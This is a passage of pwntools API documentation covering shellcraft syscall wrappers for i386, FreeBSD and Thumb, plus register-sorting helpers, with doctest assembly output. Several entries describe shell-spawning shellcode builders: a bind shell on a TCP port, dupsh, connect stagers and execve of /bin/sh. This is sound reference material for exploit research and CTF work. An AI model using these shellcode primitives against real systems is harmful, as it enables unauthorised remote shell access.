Invokes the syscall stat. See ‘man 2 stat’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.i386.linux.stat64` (*file, buf*)
Invokes the syscall stat64. See ‘man 2 stat64’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.i386.linux.stime` (*when*)
Invokes the syscall stime. See ‘man 2 stime’ for more information.

Parameters when (*time_t*) – when

`pwnlib.shellcraft.i386.linux.stty` (*fd, params*)
Invokes the syscall stty. See ‘man 2 stty’ for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.i386.linux.symlink` (*from_, to*)
Invokes the syscall symlink. See ‘man 2 symlink’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.i386.linux.symlinkat` (*from_, tofd, to*)
 Invokes the syscall `symlinkat`. See ‘man 2 `symlinkat`’ for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

`pwnlib.shellcraft.i386.linux.sync` ()
 Invokes the syscall `sync`. See ‘man 2 `sync`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.sync_file_range` (*fd, offset, count, flags*)
 Invokes the syscall `sync_file_range`. See ‘man 2 `sync_file_range`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.i386.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print (pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).rstrip())
/* call execve(1, 'esp', 2, 0) */
push (SYS_execve) /* 0xb */
pop eax
push 1
pop ebx
mov ecx, esp
push 2
pop edx
xor esi, esi
int 0x80
>>> print (pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip())
/* call execve(2, 1, 0, 0x14) */
push (SYS_execve) /* 0xb */
pop eax
push 2
pop ebx
push 1
pop ecx
push 0x14
pop esi
cdq /* edx=0 */
int 0x80
>>> print (pwnlib.shellcraft.i386.linux.syscall().rstrip())
```

```

/* call syscall() */
int 0x80
>>> print (pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip())
/* call syscall('eax', 'ebx', 'ecx') */
/* setregs noop */
int 0x80
>>> print (pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip())
/* call syscall('ebp', ?, ?, 1) */
mov eax, ebp
push 1
pop edx
int 0x80
>>> print (pwnlib.shellcraft.i386.linux.syscall(
...     'SYS_mmap2', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
...     'MAP_PRIVATE | MAP_ANONYMOUS',
...     -1, 0).rstrip())
/* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS'
xor eax, eax
mov al, 0xc0
xor ebp, ebp
xor ebx, ebx
xor ecx, ecx
mov ch, 0x1000 >> 8
push -1
pop edi
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop edx
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop esi
int 0x80

```

`pwnlib.shellcraft.i386.linux.syslog` (*pri*, *fmt*, *vararg*)
 Invokes the syscall syslog. See ‘man 2 syslog’ for more information.

Parameters

- **pri** (*int*) – pri
- **fmt** (*char*) – fmt
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.tee` (*fdin*, *fdout*, *length*, *flags*)
 Invokes the syscall tee. See ‘man 2 tee’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **fdout** (*int*) – fdout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.i386.linux.time` (*timer*)
 Invokes the syscall time. See ‘man 2 time’ for more information.

Parameters **timer** (*time_t*) – timer

`pwnlib.shellcraft.i386.linux.timer_create` (*clock_id*, *evp*, *timerid*)
 Invokes the syscall timer_create. See ‘man 2 timer_create’ for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **evp** (*sigevent*) – evp
- **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.i386.linux.**timer_delete** (*timerid*)

Invokes the syscall timer_delete. See ‘man 2 timer_delete’ for more information.

Parameters **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.i386.linux.**timer_getoverrun** (*timerid*)

Invokes the syscall timer_getoverrun. See ‘man 2 timer_getoverrun’ for more information.

Parameters **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.i386.linux.**timer_gettime** (*timerid, value*)

Invokes the syscall timer_gettime. See ‘man 2 timer_gettime’ for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **value** (*itimerspec*) – value

pwnlib.shellcraft.i386.linux.**timer_settime** (*timerid, flags, value, ovalue*)

Invokes the syscall timer_settime. See ‘man 2 timer_settime’ for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

pwnlib.shellcraft.i386.linux.**truncate** (*file, length*)

Invokes the syscall truncate. See ‘man 2 truncate’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

pwnlib.shellcraft.i386.linux.**truncate64** (*file, length*)

Invokes the syscall truncate64. See ‘man 2 truncate64’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

pwnlib.shellcraft.i386.linux.**ulimit** (*cmd, vararg*)

Invokes the syscall ulimit. See ‘man 2 ulimit’ for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**umask** (*mask*)

Invokes the syscall umask. See ‘man 2 umask’ for more information.

Parameters **mask** (*mode_t*) – mask

`pwnlib.shellcraft.i386.linux.uname` (*name*)
Invokes the syscall `uname`. See ‘man 2 `uname`’ for more information.

Parameters **name** (*utsname*) – name

`pwnlib.shellcraft.i386.linux.unlink` (*name*)
Invokes the syscall `unlink`. See ‘man 2 `unlink`’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.i386.linux.unlinkat` (*fd, name, flag*)
Invokes the syscall `unlinkat`. See ‘man 2 `unlinkat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **name** (*char*) – name
- **flag** (*int*) – flag

`pwnlib.shellcraft.i386.linux.unshare` (*flags*)
Invokes the syscall `unshare`. See ‘man 2 `unshare`’ for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.ustat` (*dev, ubuf*)
Invokes the syscall `ustat`. See ‘man 2 `ustat`’ for more information.

Parameters

- **dev** (*dev_t*) – dev
- **ubuf** (*ustat*) – ubuf

`pwnlib.shellcraft.i386.linux.utime` (*file, file_times*)
Invokes the syscall `utime`. See ‘man 2 `utime`’ for more information.

Parameters

- **file** (*char*) – file
- **file_times** (*utimbuf*) – file_times

`pwnlib.shellcraft.i386.linux.utimensat` (*fd, path, times, flags*)
Invokes the syscall `utimensat`. See ‘man 2 `utimensat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **times** (*timespec*) – times
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.utimes` (*file, tvp*)
Invokes the syscall `utimes`. See ‘man 2 `utimes`’ for more information.

Parameters

- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.i386.linux.vfork()`
 Invokes the syscall `vfork`. See ‘man 2 `vfork`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.vhangup()`
 Invokes the syscall `vhangup`. See ‘man 2 `vhangup`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.vmsplice(fdout, iov, count, flags)`
 Invokes the syscall `vmsplice`. See ‘man 2 `vmsplice`’ for more information.

Parameters

- **fdout** (*int*) – fdout
- **iov** (*iovec*) – iov
- **count** (*size_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.i386.linux.wait4(pid, stat_loc, options, usage)`
 Invokes the syscall `wait4`. See ‘man 2 `wait4`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc
- **options** (*int*) – options
- **usage** (*rusage*) – usage

`pwnlib.shellcraft.i386.linux.waitid(idtype, id, infop, options)`
 Invokes the syscall `waitid`. See ‘man 2 `waitid`’ for more information.

Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

`pwnlib.shellcraft.i386.linux.waitpid(pid, stat_loc, options)`
 Invokes the syscall `waitpid`. See ‘man 2 `waitpid`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

`pwnlib.shellcraft.i386.linux.write(fd, buf, n)`
 Invokes the syscall `write`. See ‘man 2 `write`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf

- `n(size_t) - n`

`pwnlib.shellcraft.i386.linux.writev(fd, iovec, count)`

Invokes the syscall `writev`. See ‘man 2 writev’ for more information.

Parameters

- `fd(int) - fd`
- `iovec(iovec) - iovec`
- `count(int) - count`

`pwnlib.shellcraft.i386.freebsd`

Shellcraft module containing Intel i386 shellcodes for FreeBSD.

`pwnlib.shellcraft.i386.freebsd.acceptloop_ipv4(port)`

Args: `port` Waits for a connection. Leaves socket in EBP. ipv4 only

`pwnlib.shellcraft.i386.freebsd.i386_to_amd64()`

Returns code to switch from i386 to amd64 mode.

`pwnlib.shellcraft.i386.freebsd.mov(dest, src, stack_allowed=True)`

Thin wrapper around `pwnlib.shellcraft.i386.mov()`, which sets `context.os` to ‘freebsd’ before calling.

Example

```
>>> print(pwnlib.shellcraft.i386.freebsd.mov('eax', 'SYS_execve').rstrip())
push (SYS_execve) /* 0x3b */
pop eax
```

`pwnlib.shellcraft.i386.freebsd.push(value)`

Thin wrapper around `pwnlib.shellcraft.i386.push()`, which sets `context.os` to ‘freebsd’ before calling.

Example

```
>>> print(pwnlib.shellcraft.i386.freebsd.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
push 0x3b
```

`pwnlib.shellcraft.i386.freebsd.sh()`

Execute `/bin/sh`

`pwnlib.regsort` — Register sorting

Topographical sort

`pwnlib.regsort.check_cycle(reg, assignments)`

Walk down the assignment list of a register, return the path walked if it is encountered again.

Returns The list of register involved in the cycle. If there is no cycle, this is an empty list.

Example

```

>>> check_cycle('a', {'a': 1})
[]
>>> check_cycle('a', {'a': 'a'})
['a']
>>> check_cycle('a', {'a': 'b', 'b': 'a'})
['a', 'b']
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'b', 'd': 'a'})
[]
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'd', 'd': 'a'})
['a', 'b', 'c', 'd']

```

`pwnlib.regsort.extract_dependencies` (*reg*, *assignments*)
Return a list of all registers which directly depend on the specified register.

Example

```

>>> extract_dependencies('a', {'a': 1})
[]
>>> extract_dependencies('a', {'a': 'b', 'b': 1})
[]
>>> extract_dependencies('a', {'a': 1, 'b': 'a'})
['b']
>>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})
['b', 'c']

```

`pwnlib.regsort.regsort` (*in_out*, *all_regs*, *tmp=None*, *xchg=True*, *randomize=None*)
Sorts register dependencies.

Given a dictionary of registers to desired register contents, return the optimal order in which to set the registers to those contents.

The implementation assumes that it is possible to move from any register to any other register.

If a dependency cycle is encountered, one of the following will occur:

- If `xchg` is `True`, it is assumed that dependency cycles can be broken by swapping the contents of two register (a la the `xchg` instruction on i386).
- If `xchg` is not set, but not all destination registers in `in_out` are involved in a cycle, one of the registers outside the cycle will be used as a temporary register, and then overwritten with its final value.
- If `xchg` is not set, and all registers are involved in a dependency cycle, the named register `temporary` is used as a temporary register.
- If the dependency cycle cannot be resolved as described above, an exception is raised.

Parameters

- **`in_out`** (*dict*) – Dictionary of desired register states. Keys are registers, values are either registers or any other value.
- **`all_regs`** (*list*) – List of all possible registers. Used to determine which values in `in_out` are registers, versus regular values.
- **`tmp`** (*obj*, *str*) – Named register (or other sentinel value) to use as a temporary register. If `tmp` is a named register **and** appears as a source value in `in_out`, depen-

dependencies are handled appropriately. `tmp` cannot be a destination register in `in_out`. If `bool(tmp)==True`, this mode is enabled.

- **xchg** (*obj*) – Indicates the existence of an instruction which can swap the contents of two registers without use of a third register. If `bool(xchg)==False`, this mode is disabled.
- **random** (*bool*) – Randomize as much as possible about the order of registers.

Returns

A list of tuples of (`src`, `dest`).

Each register may appear more than once, if a register is used as a temporary register, and later overwritten with its final value.

If `xchg` is `True` and it is used to break a dependency cycle, then `reg_name` will be `None` and value will be a tuple of the instructions to swap.

Example

```
>>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']
```

If order doesn't matter for any subsequence, alphabetic order is used.

```
>>> regsort({'a': 1, 'b': 2}, R)
[('mov', 'a', 1), ('mov', 'b', 2)]
>>> regsort({'a': 'b', 'b': 'a'}, R)
[('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X')
[('mov', 'X', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'X')]
>>> regsort({'a': 1, 'b': 'a'}, R)
[('mov', 'b', 'a'),
 ('mov', 'a', 1)]
>>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R)
[('mov', 'c', 3),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R)
[('mov', 'c', 'b'),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'x': 'b'}, R, tmp='y', xchg=False)
[('mov', 'x', 'b'),
 ('mov', 'y', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'y')]
>>> regsort({'a': 'b', 'b': 'a', 'x': 'b'}, R, tmp='x', xchg=False)
Traceback (most recent call last):
...
PwnlibException: Cannot break dependency cycles ...
>>> regsort({'a': 'b', 'b': 'c', 'c': 'a', 'x': '1', 'y': 'z', 'z': 'c'}, R)
[('mov', 'x', '1'),
 ('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('xchg', 'a', 'b'),
 ('xchg', 'b', 'c')]
>>> regsort({'a': 'b', 'b': 'c', 'c': 'a', 'x': '1', 'y': 'z', 'z': 'c'}, R, tmp='x')
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
```

```

('mov', 'x', 'a'),
('mov', 'a', 'b'),
('mov', 'b', 'c'),
('mov', 'c', 'x'),
('mov', 'x', 'l'])
>>> regsort({'a': 'b', 'b': 'c', 'c': 'a', 'x': 'l', 'y': 'z', 'z': 'c'}, R, xchg=0)
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', 'l')]

```

`pwnlib.regsort.resolve_order` (*reg*, *deps*)
 Resolve the order of all dependencies starting at a given register.

Example

```

>>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
>>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
>>> resolve_order('a', deps)
['a']
>>> resolve_order('b', deps)
['b']
>>> resolve_order('c', deps)
['b', 'c']
>>> resolve_order('d', deps)
['b', 'c', 'x', 'd']

```

pwnlib.shellcraft.thumb — Shellcode for Thumb Mode

pwnlib.shellcraft.thumb

Shellcraft module containing generic thumb little endian shellcodes.

`pwnlib.shellcraft.thumb.crash`()
 Crash.

Example

```

>>> run_assembly(shellcraft.crash()).poll(True) < 0
True

```

`pwnlib.shellcraft.thumb.infloop`()
 An infinite loop.

`pwnlib.shellcraft.thumb.itoa` (*v*, *buffer='sp'*, *allocate_stack=True*)
 Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.thumb.itoa('r0')
>>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.thumb.memcpy(dest, src, n)`
Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.thumb.mov(dst, src)`

Returns THUMB code for moving the specified source value into the specified destination register.

If *src* is a string that is not a register, then it will locally set `context.arch` to `'thumb'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Example

```
>>> print(shellcraft.thumb.mov('r1', 'r2').rstrip())
mov r1, r2
>>> print(shellcraft.thumb.mov('r1', 0).rstrip())
eor r1, r1
>>> print(shellcraft.thumb.mov('r1', 10).rstrip())
mov r1, #0xa + 1
sub r1, r1, 1
>>> print(shellcraft.thumb.mov('r1', 17).rstrip())
mov r1, #0x11
>>> print(shellcraft.thumb.mov('r1', 'r1').rstrip())
/* moving r1 into r1, but this is a no-op */
>>> print(shellcraft.thumb.mov('r1', 512).rstrip())
mov r1, #0x200
>>> print(shellcraft.thumb.mov('r1', 0x10000001).rstrip())
mov r1, #(0x10000001 >> 28)
lsl r1, #28
add r1, #(0x10000001 & 0xff)
>>> print(shellcraft.thumb.mov('r1', 0xdead0000).rstrip())
mov r1, #(0xdead0000 >> 25)
lsl r1, #(25 - 16)
add r1, #((0xdead0000 >> 16) & 0xff)
lsl r1, #16
>>> print(shellcraft.thumb.mov('r1', 0xdead00ff).rstrip())
ldr r1, value_...
b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
mov r1, #(SYS_execve) /* 0xb */
```

```
>>> with context.local(os = 'freebsd'):
...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
      mov r1, #(SYS_execve) /* 0x3b */
>>> with context.local(os = 'linux'):
...     print(shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())
      mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
```

`pwnlib.shellcraft.thumb.nop()`
A nop instruction.

`pwnlib.shellcraft.thumb.popad()`
Pop all of the registers onto the stack which i386 popad does, in the same order.

`pwnlib.shellcraft.thumb.push(value)`
Pushes a value onto the stack without using null bytes or newline characters.

If `src` is a string, then we try to evaluate with `context.arch = 'thumb'` using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters `value` (*int*, *str*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.thumb.push('r0').rstrip())
      push {r0}
>>> print(pwnlib.shellcraft.thumb.push(0).rstrip())
      /* push 0 */
      eor r7, r7
      push {r7}
>>> print(pwnlib.shellcraft.thumb.push(1).rstrip())
      /* push 1 */
      mov r7, #1
      push {r7}
>>> print(pwnlib.shellcraft.thumb.push(256).rstrip())
      /* push 256 */
      mov r7, #0x100
      push {r7}
>>> print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
      /* push 'SYS_execve' */
      mov r7, #0xb
      push {r7}
>>> with context.local(os='freebsd'):
...     print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
      /* push 'SYS_execve' */
      mov r7, #0x3b
      push {r7}
```

`pwnlib.shellcraft.thumb.pushad()`
Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.thumb.pushstr(string, append_null=True, register='r7')`
Pushes a string onto the stack without using null bytes or newline characters.

Parameters

- **string** (*bytes*, *str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

Examples:

Note that this doctest has two possibilities for the first result, depending on your version of binutils.

```
>>> enhex(asm(shellcraft.pushstr('Hello\nWorld!', True))) in [
... '87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4',
... '87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b4',
True
>>> print(shellcraft.pushstr('abc').rstrip())
/* push b'abc\x00' */
ldr r7, value_...
b value_..._after
value_...: .word 0xff636261
value_..._after:
    lsl r7, #8
    lsr r7, #8
    push {r7}
>>> print(enhex(asm(shellcraft.pushstr(b'\x00', False))))
87ea070780b4
```

`pwnlib.shellcraft.thumb.pushstr_array` (*reg*, *array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*bytes*, *str*, *list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.thumb.ret` (*return_value=None*)

A single-byte RET instruction.

Parameters *return_value* – Value to return

`pwnlib.shellcraft.thumb.setregs` (*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'r0': 1, 'r2': 'r3'}).rstrip())
mov r0, #1
mov r2, r3
>>> print(shellcraft.setregs({'r0': 'r1', 'r1': 'r0', 'r2': 'r3'}).rstrip())
mov r2, r3
eor r0, r0, r1 /* xchg r0, r1 */
eor r1, r0, r1
eor r0, r0, r1
```

`pwnlib.shellcraft.thumb.to_arm` (*reg=None*, *avoid=[]*)

Go from THUMB to ARM mode.

`pwnlib.shellcraft.thumb.trap` ()

A trap instruction.

`pwnlib.shellcraft.thumb.udiv_10` (*N*)

Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: <https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembly/master/chapter15/magic.py>

With code: `python magic.py 10 code_for_unsigned`

`pwnlib.shellcraft.thumb.linux`

Shellcraft module containing THUMB shellcodes for Linux.

`pwnlib.shellcraft.thumb.linux.accept` (*fd, addr, addr_len*)

Invokes the syscall `accept`. See ‘man 2 `accept`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.thumb.linux.access` (*name, type*)

Invokes the syscall `access`. See ‘man 2 `access`’ for more information.

Parameters

- **name** (*char*) – name
- **type** (*int*) – type

`pwnlib.shellcraft.thumb.linux.acct` (*name*)

Invokes the syscall `acct`. See ‘man 2 `acct`’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.thumb.linux.alarm` (*seconds*)

Invokes the syscall `alarm`. See ‘man 2 `alarm`’ for more information.

Parameters **seconds** (*unsigned*) – seconds

`pwnlib.shellcraft.thumb.linux.bind` (*fd, addr, length*)

Invokes the syscall `bind`. See ‘man 2 `bind`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*CONST_SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.thumb.linux.bindsh` (*port, network*)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either ‘ipv4’ or ‘ipv6’.

`pwnlib.shellcraft.thumb.linux.brk` (*addr*)

Invokes the syscall `brk`. See ‘man 2 `brk`’ for more information.

Parameters **addr** (*void*) – addr

`pwnlib.shellcraft.thumb.linux.cat` (*filename, fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb() + shellcraft.thumb.linux.cat(f)).recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.thumb.linux.chdir` (*path*)

Invokes the syscall `chdir`. See ‘man 2 `chdir`’ for more information.

Parameters `path` (*char*) – path

`pwnlib.shellcraft.thumb.linux.chmod` (*file, mode*)

Invokes the syscall `chmod`. See ‘man 2 `chmod`’ for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.thumb.linux.chown` (*file, owner, group*)

Invokes the syscall `chown`. See ‘man 2 `chown`’ for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.thumb.linux.chroot` (*path*)

Invokes the syscall `chroot`. See ‘man 2 `chroot`’ for more information.

Parameters `path` (*char*) – path

`pwnlib.shellcraft.thumb.linux.clock_getres` (*clock_id, res*)

Invokes the syscall `clock_getres`. See ‘man 2 `clock_getres`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **res** (*timespec*) – `res`

`pwnlib.shellcraft.thumb.linux.clock_gettime` (*clock_id, tp*)

Invokes the syscall `clock_gettime`. See ‘man 2 `clock_gettime`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **tp** (*timespec*) – `tp`

`pwnlib.shellcraft.thumb.linux.clock_nanosleep` (*clock_id, flags, req, rem*)

Invokes the syscall `clock_nanosleep`. See ‘man 2 `clock_nanosleep`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **flags** (*int*) – flags
- **req** (*timespec*) – `req`
- **rem** (*timespec*) – `rem`

`pwnlib.shellcraft.thumb.linux.clock_gettime` (*clock_id*, *tp*)

Invokes the syscall `clock_gettime`. See ‘man 2 `clock_gettime`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **tp** (*timespec*) – `tp`

`pwnlib.shellcraft.thumb.linux.clone` (*fn*, *child_stack*, *flags*, *arg*, *vararg*)

Invokes the syscall `clone`. See ‘man 2 `clone`’ for more information.

Parameters

- **fn** (*int*) – `fn`
- **child_stack** (*void*) – `child_stack`
- **flags** (*int*) – `flags`
- **arg** (*void*) – `arg`
- **vararg** (*int*) – `vararg`

`pwnlib.shellcraft.thumb.linux.close` (*fd*)

Invokes the syscall `close`. See ‘man 2 `close`’ for more information.

Parameters **fd** (*int*) – `fd`

`pwnlib.shellcraft.thumb.linux.connect` (*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Network is either ‘`ipv4`’ or ‘`ipv6`’. Leaves the connected socket in R6.

`pwnlib.shellcraft.thumb.linux.connectstager` (*host*, *port*, *network='ipv4'*)

connect recvsizer stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: `ipv4`)

`pwnlib.shellcraft.thumb.linux.creat` (*file*, *mode*)

Invokes the syscall `creat`. See ‘man 2 `creat`’ for more information.

Parameters

- **file** (*char*) – `file`
- **mode** (*mode_t*) – `mode`

`pwnlib.shellcraft.thumb.linux.dup` (*sock='r6'*)

Args: [`sock` (`imm/reg`) = `r6`] Duplicates `sock` to `stdin`, `stdout` and `stderr`

`pwnlib.shellcraft.thumb.linux.dup2` (*fd*, *fd2*)

Invokes the syscall `dup2`. See ‘man 2 `dup2`’ for more information.

Parameters

- **fd** (*int*) – `fd`
- **fd2** (*int*) – `fd2`

`pwnlib.shellcraft.thumb.linux.dup3` (*fd*, *fd2*, *flags*)

Invokes the syscall `dup3`. See ‘man 2 `dup3`’ for more information.

Parameters

- **fd** (*int*) – `fd`
- **fd2** (*int*) – `fd2`
- **flags** (*int*) – `flags`

`pwnlib.shellcraft.thumb.linux.dupsh(sock='r6')`

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.thumb.linux.echo(string, sock='I')`

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

`pwnlib.shellcraft.thumb.linux.epoll_create(size)`

Invokes the syscall `epoll_create`. See ‘man 2 `epoll_create`’ for more information.

Parameters `size` (*int*) – size

`pwnlib.shellcraft.thumb.linux.epoll_create1(flags)`

Invokes the syscall `epoll_create1`. See ‘man 2 `epoll_create1`’ for more information.

Parameters `flags` (*int*) – flags

`pwnlib.shellcraft.thumb.linux.epoll_ctl(epfd, op, fd, event)`

Invokes the syscall `epoll_ctl`. See ‘man 2 `epoll_ctl`’ for more information.

Parameters

- `epfd` (*int*) – epfd
- `op` (*int*) – op
- `fd` (*int*) – fd
- `event` (*epoll_event*) – event

`pwnlib.shellcraft.thumb.linux.epoll_pwait(epfd, events, maxevents, timeout, ss)`

Invokes the syscall `epoll_pwait`. See ‘man 2 `epoll_pwait`’ for more information.

Parameters

- `epfd` (*int*) – epfd
- `events` (*epoll_event*) – events
- `maxevents` (*int*) – maxevents
- `timeout` (*int*) – timeout
- `ss` (*sigset_t*) – ss

`pwnlib.shellcraft.thumb.linux.epoll_wait(epfd, events, maxevents, timeout)`

Invokes the syscall `epoll_wait`. See ‘man 2 `epoll_wait`’ for more information.

Parameters

- `epfd` (*int*) – epfd
- `events` (*epoll_event*) – events
- `maxevents` (*int*) – maxevents
- `timeout` (*int*) – timeout

`pwnlib.shellcraft.thumb.linux.execve(path='/bin//sh', argv=[], envp={})`

Execute a different process.

```

>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': '3'}
>>> sc = shellcraft.arm.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
b'Hello, zerocool\n'
>>> io.poll(True)
3

```

`pwnlib.shellcraft.thumb.linux.exit` (*status*)

Invokes the syscall `exit`. See ‘man 2 exit’ for more information.

Parameters `status` (*int*) – status

